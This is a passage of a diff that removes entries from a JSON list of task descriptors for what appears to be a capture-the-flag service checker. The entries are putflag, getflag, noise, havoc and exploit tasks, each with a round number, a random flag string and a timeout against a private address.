- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 31,
- "flag": "ENOwRrrYd4IJMhi8rSDnkVkpJ1/t9vLb1j9Jmd6M9/lIq4IpZpA",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 31,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r31_t0_i2",
- "taskId": 31,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 31,
- "flag": "ENOwRrrYd4IJMhi8rSDnkVkpJ1/t9vLb1j9Jmd6M9/lIq4IpZpA",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 31,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r31_t0_i2",
- "taskId": 31,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 31,
- "flag": "ENOwRrrYd4IJMhi8rSDnkVkpJ1/t9vLb1j9Jmd6M9/lIq4IpZpA",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 31,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r31_t0_i2",
- "taskId": 31,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 31,
- "flag": "ENOwRrrYd4IJMhi8rSDnkVkpJ1/t9vLb1j9Jmd6M9/lIq4IpZpA",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 31,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r31_t0_i2",
- "taskId": 31,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 32,
- "flag": "\ud83e\udd7aoq9G9k/Khf7KjxH/WdIcia544a43kftQzJXfcamtXGAnQ2Tv\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 32,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r32_t0_i2",
- "taskId": 32,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 32,
- "flag": "\ud83e\udd7aoq9G9k/Khf7KjxH/WdIcia544a43kftQzJXfcamtXGAnQ2Tv\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 32,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r32_t0_i2",
- "taskId": 32,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 32,
- "flag": "\ud83e\udd7aoq9G9k/Khf7KjxH/WdIcia544a43kftQzJXfcamtXGAnQ2Tv\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 32,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r32_t0_i2",
- "taskId": 32,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 32,
- "flag": "\ud83e\udd7aoq9G9k/Khf7KjxH/WdIcia544a43kftQzJXfcamtXGAnQ2Tv\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 32,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r32_t0_i2",
- "taskId": 32,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 33,
- "flag": "ENOs5qlBQb2Dl10WFVSah3aVpbUKldKwktYuIXJ1cGLpWI+N2cl",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 33,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r33_t0_i3",
- "taskId": 33,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 33,
- "flag": "ENOs5qlBQb2Dl10WFVSah3aVpbUKldKwktYuIXJ1cGLpWI+N2cl",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 33,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r33_t0_i3",
- "taskId": 33,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 33,
- "flag": "ENOs5qlBQb2Dl10WFVSah3aVpbUKldKwktYuIXJ1cGLpWI+N2cl",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 33,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r33_t0_i3",
- "taskId": 33,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 33,
- "flag": "ENOs5qlBQb2Dl10WFVSah3aVpbUKldKwktYuIXJ1cGLpWI+N2cl",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 33,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r33_t0_i3",
- "taskId": 33,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 34,
- "flag": "\ud83e\udd7aO4F8RQUSNVJI6LMrkgUO278OAhZ67154cRW79gofbkPAhfkP\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 34,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r34_t0_i3",
- "taskId": 34,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 34,
- "flag": "\ud83e\udd7aO4F8RQUSNVJI6LMrkgUO278OAhZ67154cRW79gofbkPAhfkP\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 34,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r34_t0_i3",
- "taskId": 34,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 34,
- "flag": "\ud83e\udd7aO4F8RQUSNVJI6LMrkgUO278OAhZ67154cRW79gofbkPAhfkP\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 34,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r34_t0_i3",
- "taskId": 34,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 34,
- "flag": "\ud83e\udd7aO4F8RQUSNVJI6LMrkgUO278OAhZ67154cRW79gofbkPAhfkP\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 34,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r34_t0_i3",
- "taskId": 34,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 35,
- "flag": "ENOI1F1w5UKAk2OnAW9YrAh8Xx7h87GRtE2yD0GCIvX128LL+Wn",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 35,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r35_t0_i2",
- "taskId": 35,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 35,
- "flag": "ENOI1F1w5UKAk2OnAW9YrAh8Xx7h87GRtE2yD0GCIvX128LL+Wn",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 35,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r35_t0_i2",
- "taskId": 35,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 36,
- "flag": "\ud83e\udd7aMjs7SJOFnc1pXp4L1PuII0s8Uu9TNoF1BtMsC4i3KOkc+aZI\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 36,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r36_t0_i2",
- "taskId": 36,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 36,
- "flag": "\ud83e\udd7aMjs7SJOFnc1pXp4L1PuII0s8Uu9TNoF1BtMsC4i3KOkc+aZI\ud83e\udd7a\ud83e\udd7a",
- "flagHash": null,
- "flagRegex": null,
- "method": "getflag",
- "relatedRoundId": 36,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r36_t0_i2",
- "taskId": 36,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 2
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 37,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 37,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r37_t0_i0",
- "taskId": 37,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 37,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 37,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r37_t0_i0",
- "taskId": 37,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 38,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 38,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r38_t0_i1",
- "taskId": 38,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 38,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 38,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r38_t0_i1",
- "taskId": 38,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 39,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 39,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r39_t0_i1",
- "taskId": 39,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 39,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 39,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r39_t0_i1",
- "taskId": 39,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 40,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 40,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r40_t0_i0",
- "taskId": 40,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 40,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 40,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r40_t0_i0",
- "taskId": 40,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 40,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 40,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r40_t0_i0",
- "taskId": 40,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 40,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 40,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r40_t0_i0",
- "taskId": 40,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 41,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 41,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r41_t0_i0",
- "taskId": 41,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 41,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 41,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r41_t0_i0",
- "taskId": 41,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 41,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 41,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r41_t0_i1",
- "taskId": 41,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 41,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 41,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r41_t0_i1",
- "taskId": 41,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 41,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 41,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r41_t0_i0",
- "taskId": 41,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 41,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 41,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r41_t0_i0",
- "taskId": 41,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 42,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 42,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r42_t0_i0",
- "taskId": 42,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 42,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 42,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r42_t0_i0",
- "taskId": 42,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 42,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 42,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r42_t0_i0",
- "taskId": 42,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 42,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 42,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r42_t0_i0",
- "taskId": 42,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 42,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 42,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r42_t0_i0",
- "taskId": 42,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 42,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 42,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r42_t0_i0",
- "taskId": 42,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 43,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 43,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r43_t0_i0",
- "taskId": 43,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 43,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 43,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r43_t0_i0",
- "taskId": 43,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 44,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 44,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r44_t0_i1",
- "taskId": 44,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 44,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "putnoise",
- "relatedRoundId": 44,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r44_t0_i1",
- "taskId": 44,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 44,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 44,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r44_t0_i1",
- "taskId": 44,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 44,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 44,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r44_t0_i1",
- "taskId": 44,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 45,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 45,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r45_t0_i1",
- "taskId": 45,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 45,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "getnoise",
- "relatedRoundId": 45,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_noise_s0_r45_t0_i1",
- "taskId": 45,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 46,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "havoc",
- "relatedRoundId": 46,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_havoc_s0_r46_t0_i0",
- "taskId": 46,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 46,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "havoc",
- "relatedRoundId": 46,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_havoc_s0_r46_t0_i0",
- "taskId": 46,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 47,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "havoc",
- "relatedRoundId": 47,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_havoc_s0_r47_t0_i1",
- "taskId": 47,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 47,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "havoc",
- "relatedRoundId": 47,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_havoc_s0_r47_t0_i1",
- "taskId": 47,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 48,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "havoc",
- "relatedRoundId": 48,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_havoc_s0_r48_t0_i1",
- "taskId": 48,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 48,
- "flag": null,
- "flagHash": null,
- "flagRegex": null,
- "method": "havoc",
- "relatedRoundId": 48,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_havoc_s0_r48_t0_i1",
- "taskId": 48,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 49,
- "flag": "ENOcxSVhOORdks/ZeoFJpX3xaSwPXZ/P44Wd06Xre2Ob+DpvBjh",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 49,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r49_t0_i0",
- "taskId": 49,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 49,
- "flag": "ENOcxSVhOORdks/ZeoFJpX3xaSwPXZ/P44Wd06Xre2Ob+DpvBjh",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 49,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r49_t0_i0",
- "taskId": 49,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "xddbplkhtubexkcevhynubxgemhopdrrpoygmwodrxjumaerzzpwnadsznok",
- "currentRoundId": 49,
- "flag": null,
- "flagHash": "aa1fbdb3763e97c0b8263f2d3b7cdee07261d79237e627bfa6abdade5bf4ec6f",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 49,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r49_t0_i0",
- "taskId": 49,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": "xddbplkhtubexkcevhynubxgemhopdrrpoygmwodrxjumaerzzpwnadsznok",
- "currentRoundId": 49,
- "flag": null,
- "flagHash": "aa1fbdb3763e97c0b8263f2d3b7cdee07261d79237e627bfa6abdade5bf4ec6f",
- "flagRegex": "ENO[A-Za-z0-9+\\/=]{48}",
- "method": "exploit",
- "relatedRoundId": 49,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_exploit_s0_r49_t0_i0",
- "taskId": 49,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 0
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 49,
- "flag": "ENOg6UKIoQCqrGBH4OTUDePi0T8TS6Q/PxLgLRO7E5KeY/cSn0f",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 49,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r49_t0_i1",
- "taskId": 49,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
- "attackInfo": null,
- "currentRoundId": 49,
- "flag": "ENOg6UKIoQCqrGBH4OTUDePi0T8TS6Q/PxLgLRO7E5KeY/cSn0f",
- "flagHash": null,
- "flagRegex": null,
- "method": "putflag",
- "relatedRoundId": 49,
- "roundLength": 60000,
- "taskChainId": "a31d7df461b34c4b0215c37529cd0f36eda9743c_flag_s0_r49_t0_i1",
- "taskId": 49,
- "teamId": 0,
- "teamName": "teamname",
- "timeout": 10000,
- "variantId": 1
- },
- {
- "address": "192.168.2.226",
